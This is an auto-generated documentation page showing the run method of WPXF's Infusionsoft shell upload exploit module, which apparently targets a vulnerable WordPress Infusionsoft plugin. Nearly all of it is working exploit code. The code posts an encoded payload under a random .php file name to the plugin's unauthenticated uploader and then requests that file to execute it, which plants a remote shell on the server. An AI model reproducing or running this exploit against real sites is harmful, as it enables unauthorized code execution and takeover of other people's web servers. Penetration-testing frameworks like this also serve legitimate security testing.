Method: Wpxf::Exploit::InfusionsoftShellUpload#run

Defined in:
lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb

#runObject



40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/wpxf/modules/exploit/shell/infusionsoft_shell_upload.rb', line 40

def run
  return false unless super

  emit_info 'Preparing payload...'
  payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
  body = {
    'fileNamePattern' => payload_name,
    'fileTemplate' => payload.encoded
  }

  emit_info 'Uploading payload...'
  res = execute_post_request(url: uploader_url, body: body)

  if res.nil? || res.timed_out?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200 || res.body !~ /Creating File/i
    emit_info "Response code: #{res.code}", true
    emit_info "Response body: #{res.body}", true
    emit_error 'Failed to upload payload'
    return false
  end

  payload_url = normalize_uri(plugin_url, 'Infusionsoft', 'utilities', payload_name)
  emit_success "Uploaded the payload to #{payload_url}", true

  emit_info 'Executing the payload...'
  res = execute_get_request(url: payload_url)
  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  return true
end